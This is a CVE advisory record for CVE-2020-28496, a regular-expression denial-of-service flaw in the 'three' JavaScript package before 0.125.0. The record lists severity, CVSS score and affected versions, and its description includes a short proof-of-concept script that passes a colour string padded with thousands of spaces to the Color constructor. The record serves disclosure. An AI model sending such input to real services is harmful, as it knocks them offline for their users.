CVE-2020-28496

Regular Expression Denial of Service (ReDoS)

State
Published
Severity
7.5 High
Published
Feb 18, 2021
Updated
Sep 17, 2024
Reserved
Nov 12, 2020

Read the record on cve.org

Description

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

Scores

CVSSScoreVectorSource
3.17.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsnyk

Weaknesses

The record names no weakness.

Affected Products

ProductVersions
threen/a
  • before 0.125.0Affected

References

Every record here comes from the CVE Program’s CVE List. © 1999–2026 The MITRE Corporation. CVE is a registered trademark of The MITRE Corporation. The records are reproduced under the CVE Program terms of use.